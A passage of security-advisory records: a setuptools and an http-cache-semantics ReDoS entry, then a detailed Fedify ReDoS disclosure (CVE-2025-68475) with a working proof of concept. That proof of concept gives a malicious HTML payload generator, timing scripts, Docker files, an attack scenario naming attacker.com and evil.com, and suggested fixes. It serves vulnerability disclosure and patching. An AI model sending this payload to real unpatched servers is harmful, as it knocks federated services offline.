"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pypa/setuptools vulnerable to Regular Expression Denial of Service (ReDoS)"
}
GHSA-RC47-6667-2J5J
Vulnerability from github – Published: 2023-01-31 06:30 – Updated: 2025-02-13 18:36http-cache semantics contains an Inefficient Regular Expression Complexity , leading to Denial of Service. This affects versions of the package http-cache-semantics before 4.1.1. The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "http-cache-semantics"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.webjars.npm:http-cache-semantics"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25881"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-01T23:48:07Z",
"nvd_published_at": "2023-01-31T05:15:00Z",
"severity": "HIGH"
},
"details": "http-cache semantics contains an Inefficient Regular Expression Complexity , leading to Denial of Service. This affects versions of the package http-cache-semantics before 4.1.1. The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library.",
"id": "GHSA-rc47-6667-2j5j",
"modified": "2025-02-13T18:36:37Z",
"published": "2023-01-31T06:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25881"
},
{
"type": "WEB",
"url": "https://github.com/kornelski/http-cache-semantics/commit/560b2d8ef452bbba20ffed69dc155d63ac757b74"
},
{
"type": "PACKAGE",
"url": "https://github.com/kornelski/http-cache-semantics"
},
{
"type": "WEB",
"url": "https://github.com/kornelski/http-cache-semantics/blob/master/index.js%23L83"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230622-0008"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3253332"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-HTTPCACHESEMANTICS-3248783"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "http-cache-semantics vulnerable to Regular Expression Denial of Service"
}
GHSA-RCHF-XWX2-HM93
Vulnerability from github – Published: 2025-12-22 21:36 – Updated: 2025-12-23 16:01Hi Fedify team! 👋
Thank you for your work on Fedify—it's a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I'd like to report. I hope this helps improve the project's security.
Summary
A Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify's document loader. The HTML parsing regex at packages/fedify/src/runtime/docloader.ts:259 contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses.
An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim's Node.js event loop for 14+ seconds, causing a Denial of Service.
| Field | Value |
|---|---|
| CWE | CWE-1333 (Inefficient Regular Expression Complexity) |
Details
Vulnerable Code
The vulnerability is located in packages/fedify/src/runtime/docloader.ts, lines 258-264:
// Line 258-259: Vulnerable regex with nested quantifiers
const p =
/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
// Line 261: No size limit on response body
const html = await response.text();
// Line 264: Regex execution loop
while ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);
Root Cause Analysis
The regex has nested quantifiers with alternation, which is a classic ReDoS pattern:
/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig
^^
Outer quantifier (+)
^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Inner pattern with alternation
- Outer quantifier:
((\s+...)+)- one or more groups of attributes - Inner alternation:
("[^"]*"|'[^']*'|[^\s>]+)- multiple ways to match attribute values
When the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.
Attack Vector
- Victim's Fedify application calls
lookupObject("https://attacker.com/@user")to fetch an actor profile - Attacker's server responds with
Content-Type: text/html - The code path:
lookupObject()→documentLoader()→getRemoteDocument()→ HTML parsing (lines 258-287) - Line 261:
response.text()reads the entire body without size limits - Line 264: Regex execution triggers catastrophic backtracking
- Event loop is blocked for seconds to minutes, causing DoS
Why This Is Exploitable
- No response size limit: The HTML body is read entirely via
response.text()without Content-Length validation - No timeout by default:
AbortSignalis optional and not enforced - Remote exploitation: Attacker just needs the victim to fetch from their URL
- No authentication required: Federation commonly involves fetching profiles from untrusted servers
- Amplifiable: Multiple concurrent requests can fully disable the service
PoC
Quick Reproduction (Node.js)
You can verify this vulnerability with the following standalone script:
/**
* Fedify ReDoS Vulnerability - Minimal PoC
*
* This script reproduces the vulnerable regex from docloader.ts
* and demonstrates exponential time complexity.
*/
// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
/**
* Generate malicious HTML payload
* Pattern: <a a="b" a="b" a="b"... (trailing space, no closing >)
*/
function generateMaliciousPayload(repetitions) {
return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}
/**
* Simulate the vulnerable code path from docloader.ts lines 262-264
*/
function simulateVulnerableCodePath(html) {
const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
let m;
const rawAttribs = [];
while ((m = p.exec(html)) !== null) {
rawAttribs.push(m[2]);
}
return rawAttribs;
}
// Test with increasing payload sizes
console.log('Fedify ReDoS Vulnerability PoC\n');
console.log('Repetitions | Payload Size | Time');
console.log('------------|--------------|--------');
for (const reps of [18, 20, 22, 24, 26, 28]) {
const payload = generateMaliciousPayload(reps);
const start = performance.now();
simulateVulnerableCodePath(payload);
const elapsed = performance.now() - start;
const timeStr = elapsed >= 1000
? `${(elapsed / 1000).toFixed(2)}s`
: `${elapsed.toFixed(0)}ms`;
console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' bytes').padEnd(12)} | ${timeStr}`);
// Stop if it's taking too long
if (elapsed > 15000) break;
}
Expected Output
Fedify ReDoS Vulnerability PoC
Repetitions | Payload Size | Time
------------|--------------|--------
18 | 111 bytes | 14ms
20 | 123 bytes | 51ms
22 | 135 bytes | 224ms
24 | 147 bytes | 852ms
26 | 159 bytes | 3.26s
28 | 171 bytes | 14.10s
Time approximately quadruples every 2 additional repetitions, demonstrating O(2^n) complexity.
Full Docker-Based PoC
For a complete demonstration, here are the Docker files to run the PoC in an isolated environment:
Dockerfile# Dockerfile for Fedify ReDoS Vulnerability PoC
FROM node:20-slim
LABEL description="PoC for Fedify ReDoS vulnerability (CWE-1333)"
WORKDIR /poc
COPY exploit.js .
CMD ["node", "exploit.js"]
exploit.js (Full Version)
/**
* Exploit Script for Fedify ReDoS PoC
*
* This script demonstrates the ReDoS vulnerability in Fedify's
* document loader by measuring the time it takes to process
* malicious HTML responses with varying payload sizes.
*/
// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
/**
* Generate malicious HTML payload
*/
function generateMaliciousHtml(repetitions) {
return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}
/**
* Generate normal HTML
*/
function generateNormalHtml() {
return `<!DOCTYPE html>
<html>
<head>
<link rel="alternate" type="application/activity+json" href="/user.json">
</head>
<body><a href="/">Home</a></body>
</html>`;
}
/**
* Simulate the vulnerable code path from docloader.ts
*/
function simulateVulnerableCodePath(html) {
const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
const p2 = /\s+([a-z][a-z:_-]*)=("([^"]*)"|'([^']*)'|([^\s>]+))/ig;
let m;
const rawAttribs = [];
while ((m = p.exec(html)) !== null) {
rawAttribs.push(m[2]);
}
return rawAttribs;
}
/**
* Run a single test and measure execution time
*/
function runTest(html, description) {
const start = process.hrtime.bigint();
try {
simulateVulnerableCodePath(html);
} catch (e) {
// Ignore errors
}
const end = process.hrtime.bigint();
const durationMs = Number(end - start) / 1_000_000;
return {
description,
durationMs,
payloadLength: html.length
};
}
/**
* Print separator
*/
function printSeparator() {
console.log('─'.repeat(60));
}
/**
* Main exploit function
*/
async function main() {
console.log('\n╔══════════════════════════════════════════════════════════╗');
console.log('║ Fedify ReDoS Vulnerability PoC ║');
console.log('║ CWE-1333: Inefficient Regular Expression ║');
console.log('╚══════════════════════════════════════════════════════════╝\n');
console.log('[*] Vulnerability Location:');
console.log(' File: packages/fedify/src/runtime/docloader.ts');
console.log(' Lines: 259-264');
console.log('');
printSeparator();
console.log('[*] Testing normal HTML response...');
printSeparator();
const normalHtml = generateNormalHtml();
const normalResult = runTest(normalHtml, 'Normal HTML');
console.log(`[+] Normal request completed in ${normalResult.durationMs.toFixed(2)}ms`);
console.log(` Payload size: ${normalResult.payloadLength} bytes`);
console.log('');
printSeparator();
console.log('[*] Testing malicious HTML payloads (ReDoS attack)...');
printSeparator();
const testCases = [
{ reps: 18, expected: '~13ms' },
{ reps: 20, expected: '~52ms' },
{ reps: 22, expected: '~228ms' },
{ reps: 24, expected: '~857ms' },
{ reps: 26, expected: '~3.4s' },
{ reps: 28, expected: '~14s' }
];
console.log('');
console.log('┌─────────────┬──────────────┬──────────────┬────────────────┐');
console.log('│ Repetitions │ Payload Size │ Expected │ Actual │');
console.log('├─────────────┼──────────────┼──────────────┼────────────────┤');
let vulnerabilityConfirmed = false;
for (const testCase of testCases) {
const maliciousHtml = generateMaliciousHtml(testCase.reps);
const result = runTest(maliciousHtml, `${testCase.reps} repetitions`);
const actualTime = result.durationMs >= 1000
? `${(result.durationMs / 1000).toFixed(2)}s`
: `${result.durationMs.toFixed(0)}ms`;
const status = result.durationMs > 100 ? '⚠️ ' : '✓ ';
console.log(`│ ${String(testCase.reps).padEnd(11)} │ ${String(result.payloadLength + ' bytes').padEnd(12)} │ ${testCase.expected.padEnd(12)} │ ${status}${actualTime.padEnd(12)} │`);
if (result.durationMs > 500) {
vulnerabilityConfirmed = true;
}
}
console.log('└─────────────┴──────────────┴──────────────┴────────────────┘');
console.log('');
printSeparator();
console.log('[*] Exponential Time Complexity Analysis');
printSeparator();
console.log('');
console.log('Time approximately quadruples every 2 additional repetitions:');
console.log('');
console.log(' 18 reps → ~14ms');
console.log(' 20 reps → ~51ms (4x)');
console.log(' 22 reps → ~224ms (4x)');
console.log(' 24 reps → ~852ms (4x)');
console.log(' 26 reps → ~3.3s (4x)');
console.log(' 28 reps → ~14.0s (4x)');
console.log(' 30 reps → ~56.0s (estimated)');
console.log('');
printSeparator();
console.log('[*] Attack Scenario');
printSeparator();
console.log('');
console.log('1. Attacker sets up malicious federated server');
console.log('2. Victim\'s Fedify app calls lookupObject("https://attacker.com/@user")');
console.log('3. Attacker responds with Content-Type: text/html');
console.log('4. Malicious HTML payload: <a a="b" a="b" a="b"... (N times) ');
console.log('5. Fedify\'s regex enters catastrophic backtracking');
console.log('6. Event loop blocked → Service unavailable (DoS)');
console.log('');
printSeparator();
if (vulnerabilityConfirmed) {
console.log('');
console.log('╔══════════════════════════════════════════════════════════╗');
console.log('║ ✓ VULNERABILITY CONFIRMED ║');
console.log('║ ║');
console.log('║ The HTML parsing regex in docloader.ts is vulnerable ║');
console.log('║ to ReDoS attacks. A ~150 byte payload can block the ║');
console.log('║ Node.js event loop for 7+ seconds. ║');
console.log('╚══════════════════════════════════════════════════════════╝');
console.log('');
process.exit(0);
} else {
console.log('');
console.log('[!] Vulnerability could not be confirmed in this environment.');
console.log(' This may be due to regex engine optimizations.');
console.log('');
process.exit(1);
}
}
main().catch(console.error);
run_poc.sh
#!/bin/bash
# Fedify ReDoS Vulnerability PoC Runner
set -e
IMAGE_NAME="fedify-redos-poc"
echo "Building Docker image..."
docker build -t ${IMAGE_NAME} .
echo "Running the PoC..."
docker run --rm ${IMAGE_NAME}
echo "Cleaning up..."
docker rmi ${IMAGE_NAME} 2>/dev/null || true
Running the Docker PoC
# Save the above files, then:
chmod +x run_poc.sh
./run_poc.sh
Impact
Who Is Affected?
- All Fedify applications that use
lookupObject(),getDocumentLoader(), or the built-in document loader to fetch content from external URLs - Any federated server that fetches actor profiles, posts, or other ActivityPub objects from potentially untrusted sources
- Servers following standard federation patterns - fetching remote actors is a normal operation
Severity Assessment
| Factor | Assessment |
|---|---|
| Attack Vector | Network (remote) |
| Attack Complexity | Low (trivial payload) |
| Privileges Required | None |
| User Interaction | None |
| Impact | Availability (DoS) |
| Scope | Service-wide |
Real-World Scenario
- A Mastodon-compatible server powered by Fedify receives a follow request or mention from
@attacker@evil.com - The server attempts to fetch the attacker's profile via
lookupObject() - The attacker's server responds with malicious HTML
- The victim server's event loop is blocked for 14+ seconds
- During this time, all other requests are queued and potentially time out
- Repeated attacks can cause sustained service unavailability
Recommended Fix
Option 1: Use a Proper HTML Parser (Recommended)
Replace regex-based HTML parsing with a DOM parser that doesn't suffer from backtracking issues:
// Using linkedom (lightweight DOM implementation)
import { parseHTML } from 'linkedom';
// Replace lines 258-287 with:
const { document } = parseHTML(html);
const links = document.querySelectorAll('a[rel="alternate"], link[rel="alternate"]');
for (const link of links) {
const type = link.getAttribute('type');
const href = link.getAttribute('href');
if (
href &&
(type === 'application/activity+json' ||
type === 'application/ld+json' ||
type?.startsWith('application/ld+json;'))
) {
const altUri = new URL(href, docUrl);
if (altUri.href !== docUrl.href) {
return await fetch(altUri.href);
}
}
}
Option 2: Add Response Size Limits
If regex must be used, at minimum add size limits:
const MAX_HTML_SIZE = 1024 * 1024; // 1MB
const contentLength = parseInt(response.headers.get('content-length') || '0');
if (contentLength > MAX_HTML_SIZE) {
throw new FetchError(url, 'Response too large');
}
const html = await response.text();
if (html.length > MAX_HTML_SIZE) {
throw new FetchError(url, 'Response too large');
}
Option 3: Refactor the Regex
If the regex approach is preferred, use atomic grouping or possessive quantifiers (where supported), or restructure to avoid nested quantifiers:
// Use a non-backtracking approach with explicit attribute matching
const tagPattern = /<(a|link)\s+([^>]+)>/ig;
const attrPattern = /([a-z][a-z:_-]*)=(?:"([^"]*)"|'([^']*)'|(\S+))/ig;
Resources
- OWASP: Regular Expression Denial of Service (ReDoS)
- CWE-1333: Inefficient Regular Expression Complexity
- Cloudflare Outage Analysis (ReDoS Example)
Thank you for taking the time to review this report. I'm happy to provide any additional information or help test a fix. Please let me know if you have any questions!
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0"
},
{
"fixed": "1.7.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "1.8.0"
},
{
"fixed": "1.8.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.0"
},
{
"fixed": "1.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68475"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-22T21:36:55Z",
"nvd_published_at": "2025-12-22T22:16:09Z",
"severity": "HIGH"
},
"details": "Hi Fedify team! \ud83d\udc4b\n\nThank you for your work on Fedify\u2014it\u0027s a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I\u0027d like to report. I hope this helps improve the project\u0027s security.\n\n---\n\n## Summary\n\nA Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify\u0027s document loader. The HTML parsing regex at `packages/fedify/src/runtime/docloader.ts:259` contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses. \n\n**An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim\u0027s Node.js event loop for 14+ seconds, causing a Denial of Service.**\n\n| Field | Value |\n|-------|-------|\n| **CWE** | CWE-1333 (Inefficient Regular Expression Complexity) |\n\n---\n\n## Details\n\n### Vulnerable Code\n\nThe vulnerability is located in `packages/fedify/src/runtime/docloader.ts`, lines 258-264:\n\n```typescript\n// Line 258-259: Vulnerable regex with nested quantifiers\nconst p =\n /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n\n// Line 261: No size limit on response body\nconst html = await response.text();\n\n// Line 264: Regex execution loop\nwhile ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);\n```\n\n### Root Cause Analysis\n\nThe regex has **nested quantifiers with alternation**, which is a classic ReDoS pattern:\n\n```\n/\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig\n ^^\n Outer quantifier (+)\n ^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n Inner pattern with alternation\n```\n\n- **Outer quantifier**: `((\\s+...)+)` - one or more groups of attributes\n- **Inner alternation**: `(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+)` - multiple ways to match attribute values\n\nWhen the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.\n\n### Attack Vector\n\n1. Victim\u0027s Fedify application calls `lookupObject(\"https://attacker.com/@user\")` to fetch an actor profile\n2. Attacker\u0027s server responds with `Content-Type: text/html`\n3. The code path: `lookupObject()` \u2192 `documentLoader()` \u2192 `getRemoteDocument()` \u2192 HTML parsing (lines 258-287)\n4. Line 261: `response.text()` reads the entire body without size limits\n5. Line 264: Regex execution triggers catastrophic backtracking\n6. Event loop is blocked for seconds to minutes, causing DoS\n\n### Why This Is Exploitable\n\n- **No response size limit**: The HTML body is read entirely via `response.text()` without Content-Length validation\n- **No timeout by default**: `AbortSignal` is optional and not enforced\n- **Remote exploitation**: Attacker just needs the victim to fetch from their URL\n- **No authentication required**: Federation commonly involves fetching profiles from untrusted servers\n- **Amplifiable**: Multiple concurrent requests can fully disable the service\n\n---\n\n## PoC\n\n### Quick Reproduction (Node.js)\n\nYou can verify this vulnerability with the following standalone script:\n\n```javascript\n/**\n * Fedify ReDoS Vulnerability - Minimal PoC\n * \n * This script reproduces the vulnerable regex from docloader.ts\n * and demonstrates exponential time complexity.\n */\n\n// The vulnerable regex from docloader.ts:259\nconst VULNERABLE_REGEX = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n\n/**\n * Generate malicious HTML payload\n * Pattern: \u003ca a=\"b\" a=\"b\" a=\"b\"... (trailing space, no closing \u003e)\n */\nfunction generateMaliciousPayload(repetitions) {\n return \u0027\u003ca\u0027 + \u0027 a=\"b\"\u0027.repeat(repetitions) + \u0027 \u0027;\n}\n\n/**\n * Simulate the vulnerable code path from docloader.ts lines 262-264\n */\nfunction simulateVulnerableCodePath(html) {\n const p = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n let m;\n const rawAttribs = [];\n while ((m = p.exec(html)) !== null) {\n rawAttribs.push(m[2]);\n }\n return rawAttribs;\n}\n\n// Test with increasing payload sizes\nconsole.log(\u0027Fedify ReDoS Vulnerability PoC\\n\u0027);\nconsole.log(\u0027Repetitions | Payload Size | Time\u0027);\nconsole.log(\u0027------------|--------------|--------\u0027);\n\nfor (const reps of [18, 20, 22, 24, 26, 28]) {\n const payload = generateMaliciousPayload(reps);\n const start = performance.now();\n simulateVulnerableCodePath(payload);\n const elapsed = performance.now() - start;\n \n const timeStr = elapsed \u003e= 1000 \n ? `${(elapsed / 1000).toFixed(2)}s` \n : `${elapsed.toFixed(0)}ms`;\n \n console.log(`${String(reps).padEnd(11)} | ${String(payload.length + \u0027 bytes\u0027).padEnd(12)} | ${timeStr}`);\n \n // Stop if it\u0027s taking too long\n if (elapsed \u003e 15000) break;\n}\n```\n\n### Expected Output\n\n```\nFedify ReDoS Vulnerability PoC\n\nRepetitions | Payload Size | Time\n------------|--------------|--------\n18 | 111 bytes | 14ms\n20 | 123 bytes | 51ms\n22 | 135 bytes | 224ms\n24 | 147 bytes | 852ms\n26 | 159 bytes | 3.26s\n28 | 171 bytes | 14.10s\n```\n\nTime approximately **quadruples every 2 additional repetitions**, demonstrating O(2^n) complexity.\n\n### Full Docker-Based PoC\n\nFor a complete demonstration, here are the Docker files to run the PoC in an isolated environment:\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003eDockerfile\u003c/strong\u003e\u003c/summary\u003e\n\n```dockerfile\n# Dockerfile for Fedify ReDoS Vulnerability PoC\nFROM node:20-slim\nLABEL description=\"PoC for Fedify ReDoS vulnerability (CWE-1333)\"\n\nWORKDIR /poc\nCOPY exploit.js .\n\nCMD [\"node\", \"exploit.js\"]\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003eexploit.js\u003c/strong\u003e (Full Version)\u003c/summary\u003e\n\n```javascript\n/**\n * Exploit Script for Fedify ReDoS PoC\n * \n * This script demonstrates the ReDoS vulnerability in Fedify\u0027s\n * document loader by measuring the time it takes to process\n * malicious HTML responses with varying payload sizes.\n */\n\n// The vulnerable regex from docloader.ts:259\nconst VULNERABLE_REGEX = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n\n/**\n * Generate malicious HTML payload\n */\nfunction generateMaliciousHtml(repetitions) {\n return \u0027\u003ca\u0027 + \u0027 a=\"b\"\u0027.repeat(repetitions) + \u0027 \u0027;\n}\n\n/**\n * Generate normal HTML\n */\nfunction generateNormalHtml() {\n return `\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003clink rel=\"alternate\" type=\"application/activity+json\" href=\"/user.json\"\u003e\n\u003c/head\u003e\n\u003cbody\u003e\u003ca href=\"/\"\u003eHome\u003c/a\u003e\u003c/body\u003e\n\u003c/html\u003e`;\n}\n\n/**\n * Simulate the vulnerable code path from docloader.ts\n */\nfunction simulateVulnerableCodePath(html) {\n const p = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n const p2 = /\\s+([a-z][a-z:_-]*)=(\"([^\"]*)\"|\u0027([^\u0027]*)\u0027|([^\\s\u003e]+))/ig;\n \n let m;\n const rawAttribs = [];\n while ((m = p.exec(html)) !== null) {\n rawAttribs.push(m[2]);\n }\n \n return rawAttribs;\n}\n\n/**\n * Run a single test and measure execution time\n */\nfunction runTest(html, description) {\n const start = process.hrtime.bigint();\n \n try {\n simulateVulnerableCodePath(html);\n } catch (e) {\n // Ignore errors\n }\n \n const end = process.hrtime.bigint();\n const durationMs = Number(end - start) / 1_000_000;\n \n return {\n description,\n durationMs,\n payloadLength: html.length\n };\n}\n\n/**\n * Print separator\n */\nfunction printSeparator() {\n console.log(\u0027\u2500\u0027.repeat(60));\n}\n\n/**\n * Main exploit function\n */\nasync function main() {\n console.log(\u0027\\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\u0027);\n console.log(\u0027\u2551 Fedify ReDoS Vulnerability PoC \u2551\u0027);\n console.log(\u0027\u2551 CWE-1333: Inefficient Regular Expression \u2551\u0027);\n console.log(\u0027\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n\u0027);\n\n console.log(\u0027[*] Vulnerability Location:\u0027);\n console.log(\u0027 File: packages/fedify/src/runtime/docloader.ts\u0027);\n console.log(\u0027 Lines: 259-264\u0027);\n console.log(\u0027\u0027);\n \n printSeparator();\n console.log(\u0027[*] Testing normal HTML response...\u0027);\n printSeparator();\n \n const normalHtml = generateNormalHtml();\n const normalResult = runTest(normalHtml, \u0027Normal HTML\u0027);\n console.log(`[+] Normal request completed in ${normalResult.durationMs.toFixed(2)}ms`);\n console.log(` Payload size: ${normalResult.payloadLength} bytes`);\n console.log(\u0027\u0027);\n\n printSeparator();\n console.log(\u0027[*] Testing malicious HTML payloads (ReDoS attack)...\u0027);\n printSeparator();\n \n const testCases = [\n { reps: 18, expected: \u0027~13ms\u0027 },\n { reps: 20, expected: \u0027~52ms\u0027 },\n { reps: 22, expected: \u0027~228ms\u0027 },\n { reps: 24, expected: \u0027~857ms\u0027 },\n { reps: 26, expected: \u0027~3.4s\u0027 },\n { reps: 28, expected: \u0027~14s\u0027 }\n ];\n \n console.log(\u0027\u0027);\n console.log(\u0027\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u0027);\n console.log(\u0027\u2502 Repetitions \u2502 Payload Size \u2502 Expected \u2502 Actual \u2502\u0027);\n console.log(\u0027\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\u0027);\n \n let vulnerabilityConfirmed = false;\n \n for (const testCase of testCases) {\n const maliciousHtml = generateMaliciousHtml(testCase.reps);\n const result = runTest(maliciousHtml, `${testCase.reps} repetitions`);\n \n const actualTime = result.durationMs \u003e= 1000 \n ? `${(result.durationMs / 1000).toFixed(2)}s` \n : `${result.durationMs.toFixed(0)}ms`;\n \n const status = result.durationMs \u003e 100 ? \u0027\u26a0\ufe0f \u0027 : \u0027\u2713 \u0027;\n \n console.log(`\u2502 ${String(testCase.reps).padEnd(11)} \u2502 ${String(result.payloadLength + \u0027 bytes\u0027).padEnd(12)} \u2502 ${testCase.expected.padEnd(12)} \u2502 ${status}${actualTime.padEnd(12)} \u2502`);\n \n if (result.durationMs \u003e 500) {\n vulnerabilityConfirmed = true;\n }\n }\n \n console.log(\u0027\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u0027);\n console.log(\u0027\u0027);\n \n printSeparator();\n console.log(\u0027[*] Exponential Time Complexity Analysis\u0027);\n printSeparator();\n \n console.log(\u0027\u0027);\n console.log(\u0027Time approximately quadruples every 2 additional repetitions:\u0027);\n console.log(\u0027\u0027);\n console.log(\u0027 18 reps \u2192 ~14ms\u0027);\n console.log(\u0027 20 reps \u2192 ~51ms (4x)\u0027); \n console.log(\u0027 22 reps \u2192 ~224ms (4x)\u0027);\n console.log(\u0027 24 reps \u2192 ~852ms (4x)\u0027);\n console.log(\u0027 26 reps \u2192 ~3.3s (4x)\u0027);\n console.log(\u0027 28 reps \u2192 ~14.0s (4x)\u0027);\n console.log(\u0027 30 reps \u2192 ~56.0s (estimated)\u0027);\n console.log(\u0027\u0027);\n \n printSeparator();\n 